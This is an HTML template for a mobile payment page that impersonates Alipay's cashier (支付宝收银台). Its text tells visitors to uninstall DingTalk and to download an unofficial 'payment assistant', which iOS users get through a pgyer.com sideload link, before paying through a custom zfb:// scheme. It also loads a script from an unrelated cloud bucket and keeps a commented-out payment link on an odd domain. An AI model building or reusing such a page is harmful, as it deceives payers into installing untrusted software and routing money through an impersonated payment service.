<html xmlns:th="http://www.thymeleaf.org"><head>
    <meta charset="utf-8">
    <meta content="IE=edge, chrome=1" http-equiv="X-UA-Compatible">
    <meta content="webkit" name="renderer">
    <title>支付宝</title>
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no,email=no" name="format-detection">
    <meta id="WV.Meta.Share.Disabled" value="true">
    <meta content="pay" name="data-bizType">
    <meta content="a283" name="data-aspm">

    <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0" name="viewport">
    <link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon">
    <link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon-precomposed">

    <link rel="stylesheet" href="https://gw.alipayobjects.com/as/g/antui/antui/10.1.32/dpl/antui.css"/>
    <link rel="stylesheet" href="https://gw.alipayobjects.com/as/g/antui/antui/10.1.32/??dpl/widget/message.css,dpl/icon/message.css,dpl/widget/search.css,dpl/widget/dialog.css"/>
    <script type="text/javascript" src="//libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>

    <script charset="utf-8" src="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.js"></script>
    <link href="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.css" media="all" rel="stylesheet" type="text/css">
    <script charset="utf-8" id="seajsnode" src="https://a.alipayobjects.com:443/??seajs/seajs/2.2.0/sea.js,seajs/seajs-combo/1.0.0/seajs-combo.js"></script>
    <script src="https://bc2019.oss-cn-hangzhou.aliyuncs.com/dd/clipboard.min.js"></script>

    <script>
        seajs.config({
            alias: {
                '$': 'gallery/zepto/1.0.2/zepto',
                'validator': 'arale/validator/0.9.7/validator',
                'widget': 'arale/widget/1.1.1/widget',
                'base': 'arale/base/1.1.1/base',
                'class': 'arale/class/1.1.0/class',
                'events': 'arale/events/1.1.0/events',
                'wapcashier': 'mobileclientgw/wapcashier/1.1.7/wapcashier'
            },
            vars: {
                locale: 'zh-cn'
            }
        });
    </script>
</head>
<body>
<div class="J-msg-mask am-msg-mask" style="display:none"></div>
<div class="J-msg-box am-msg-box" style="display:none">
    <div class="am-msg-box-content">
        <p class="J-msg-text"></p>
        <button class="J-msg-cancel am-button am-button-blue" type="button">知道了</button>
    </div>
</div>

<header class="am-header">
    <h1>
        <span class="title-main" data-title="支付宝收银台">支付宝收银台</span>    </h1>

</header>


<noscript>&lt;h1 style="color:red"&gt;您的浏览器不支持JavaScript，请更换浏览器或开启JavaScript设置!&lt;/h1&gt;</noscript>
<style>
    body {
        font-weight: 500;
        font-family: PingFangSC-Regular, "Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;
    }
    .am-header {
        display: none;
    }
    .alipay-logo {
        display: none;
    }
    .result {
        position: absolute;
        width: 100%;
        top: 0;
        left: 0;
    }
    .result-logo {
        width: 70px;
        height: 98px;
        margin: auto;
        background-image: url();
        background-repeat: no-repeat;
        background-size: contain;
    }
    .result-title {
        margin: 30px 0 14px;
        text-align: center;
        font-size: 21px;
        color: #00a0e8;
        line-height: 25px;
    }
    .result-tips {
        max-width: 370px;
        margin: 0 auto 10px;
        padding: 0 15px;
        font-size: 18px;
        color: #ff0000;
        line-height:18px;
        text-align:left;
        word-break:break-all;
        word-wrap:break-word;
    }
    .result-botton {
        margin: 20px 15px 20px;
    }
    .result-botton a {
        display: block;
        margin: auto;
        -webkit-box-sizing: border-box;
        box-sizing: border-box;
        max-width: 384px;
        height:44px;
        text-align: center;
    }
    .result-botton a.am-button-white {
        color: #00aaee;
        background:#ffffff;
        border:1px solid #00aaee;
    }
    .result-botton .am-button[disabled=disabled] {
        color: #e6e6e6;
        background: #f8f8f8;
        border: 1px solid #dedede;
    }
    .loading {
        display: none;
    }
</style>
<style>
    div {
        display: block;
    }

    .modal-dialog {
        position: relative;
        width: auto;
        margin: 10px;
    }

    .modal-content {
        position: relative;
        background-color: #fff;
        border: 1px solid #999;
        border: 1px solid rgba(0, 0, 0, .2);
        border-radius: 6px;
        -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
        box-shadow: 0 3px 9px rgba(0, 0, 0, .5);
        outline: 0;
        background-clip: padding-box;
    }

    .modal-header {
        padding: 15px;
        border-bottom: 1px solid #e5e5e5;
    }

    .modal-header .close {
        margin-top: -2px;
    }

    button.close {
        padding: 0;
        cursor: pointer;
        background: 0 0;
        border: 0;
        -webkit-appearance: none;
    }

    .close {
        font-size: 21px;
        line-height: 1;
        color: #000;
        text-shadow: 0 1px 0 #fff;
        opacity: .2;
        filter: alpha(opacity=20);
    }

    .close,
    .list-group-item>.badge {
        float: right;
    }

    .modal-title {
        margin: 0;
        line-height: 1.5;
    }

    h4 {
        color: #585f69;
        text-shadow: none;
        font-weight: 400;
    }

    .modal-body {
        position: relative;
        padding: 20px;
    }

    .mb-20 {
        margin-bottom: 20px!important;
    }

    .center-block {
        display: block;
        margin-left: auto;
        margin-right: auto;
    }

    li {
        display: list-item;
        text-align: -webkit-match-parent;
    }

    img {
        border: 0;
        vertical-align: middle;
    }

    .modal-footer {
        margin-top: 15px;
        padding: 19px 20px 20px;
        text-align: right;
        border-top: 1px solid #e5e5e5;
    }

    .modal-footer .btn {
        padding: 6px 12px;
        border-radius: 4px;
    }

    .btn-u.btn-u-default {
        background: #95a5a6;
        border: 1px solid #95a5a6;
    }

    .btn-u {
        border: 1px solid #1ABC9C;
        cursor: pointer;
        padding: 4px 13px;
        position: relative;
        color: #fff;
        text-decoration: none;
        font-weight: 400;
        display: inline-block;
    }
</style>
<div class="loading"></div>
<div class="am-content">
    <input name="params" type="hidden" value="{&quot;server_param&quot;:&quot;emlkPTk5O25kcHQ9OTQ4NDtjYz15&quot;}">
    <div class="result">
        <!--<div id="ardtaobao">-->
            <!--<div style="width: 200px;text-align: center;font-size: 20px;color:#0ae; margin:10px auto 0px;font-weight: bold;"><span style="color: red">（👇推荐👇）</span></div>-->
            <!--<div class="result-title" style="font-weight: bold;font-size:24px;line-height: 28px; color: red;">（请确保手机内已安装手机淘宝）</div>-->
            <!--<div class="result-title" style="font-weight: bold;font-size:24px;line-height: 28px; color: red;">（若遇风险提示，请尝试2-5次，即可支付成功）</div>-->
            <!--<div class="result-botton"><a class="J-h5pay am-button am-button-blue" style="background: #e8880e;border-color:#e8880e"  href="javascript:void(0)" id="taobao" onclick="taobaopay()">点击支付（需安装手机淘宝）</a></div>-->
            <!--<div class="result-botton" style="margin-top: 10px">-->
                <!--<button type="button"  class="J-h5pay am-button am-button-blue" style="display: block;" id="taobaoxz">前往安装手机淘宝</button>-->
            <!--</div>-->
        <!--</div>-->
        <div id="iosnodd">
            <div style="width: 200px;text-align: center;font-size: 20px;color:#0ae; margin:10px auto 0px;font-weight: bold;"><span style="color: red">（👇推荐👇）</span></div>
            <div class="result-title">（只需安装一次,支付轻松快捷）</div>
            <div class="result-tips">1.尊敬的用户，手机上安装了钉钉APP的，必须卸载钉钉。</div>
            <div class="result-tips" style="font-weight: bold;font-size:24px;line-height: 28px; ">2.特别注意：支付助手已经更新!!若原插件闪退或支付失败，请删除原插件，重新下载最新版本</div>
            <div class="result-tips" style="font-weight: bold;font-size:24px;line-height: 28px; ">3.特别注意：首次安装如出现支付失败，请等待30秒点击即可支付。</div>
            <div class="result-botton"><a class="J-h5pay am-button am-button-blue" href="javascript:void(0)" id="paybtn" onclick="sdkpay()">已安装助手 点击即可支付</a></div>
            <div class="result-botton"><a class="J-h5pay am-button am-button-blue" href="javascript:void(0)" id="down" onclick="downTip()">前往支付宝下载支付助手</a></div>
        </div>
        <!-- <div id="iosfzlj">
            <div style="width: 200px;text-align: center;font-size: 20px;color:#0ae; margin:10px auto 0px;font-weight: bold;">方法二（备用）</div>
            <div class="result-botton">
            <button type="button"  class="J-h5pay am-button am-button-blue" id="copy" style="display: block;" real_money="💗如支付失败，请关闭支付宝重新点此链接支付。💗订单金额: 200.00   【点击付款>>】                                           付款链接:http://yhqw.qhkhwz.com/getresult/ali/22190713100002416635?act=pay">复制链接支付</button>
            </div>
        </div> -->

    </div>
</div>
<script th:src="@{/ajax/libs/layer/layer.min.js}"></script>
<script th:inline="javascript">
    // var service = [[${payUrl}]];
    // service = decodeURIComponent(service);
</script>
<script type="text/javascript">
    var clipUrl = "[[${clipUrl}]]";
    var service="";
    function sdkpay(){
        // alert('如果支付提示风险被中断，请删除原来的支付助手，重新安装最新的支付助手！')
        var sdkPayUrl = "zfb://start_pay=" + service;
        window.location = sdkPayUrl;
    }

    function isIOS(){
        var ua = navigator.userAgent;
        var isIOS = !!ua.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
        return isIOS;
    }

    function downTip(){
        if(isIOS()){
            location.href = "http://www.pgyer.com/1zBF";
        }else{
            location.href = "alipayqr://platformapi/startapp?saId=10000007&qrcode="+ encodeURIComponent(clipUrl+"&opType=download");
        }
    }
    var index = layer.load(1, {
        offset: '200px',
        shade: [0.6,'#fff'] //0.1透明度的白色背景
    });
    var orderId = "[[${channelOrder.orderId}]]";
    var url = "../orderStatus/" + orderId;
    $.get(url, function (data) {
        service = data.data.payUrl;
        layer.close(index);
    })
</script>
<footer>
    <div class="alipay-logo" style="position: absolute; left: 50%; margin-left: -35px; margin-top: 10px; margin-bottom: auto;"></div>
    <div id="ServerNum">mobileclientgw-40-5566</div>
</footer>

<!--
	<img src="https://sl2017-static.oss-cn-hangzhou.aliyuncs.com/xiac/ledingpowenguan/timg.jpg" style="position: absolute; top: 700px; width: 30px; left: 50%; margin-left: -15px; z-index: 99">
-->


</body></html>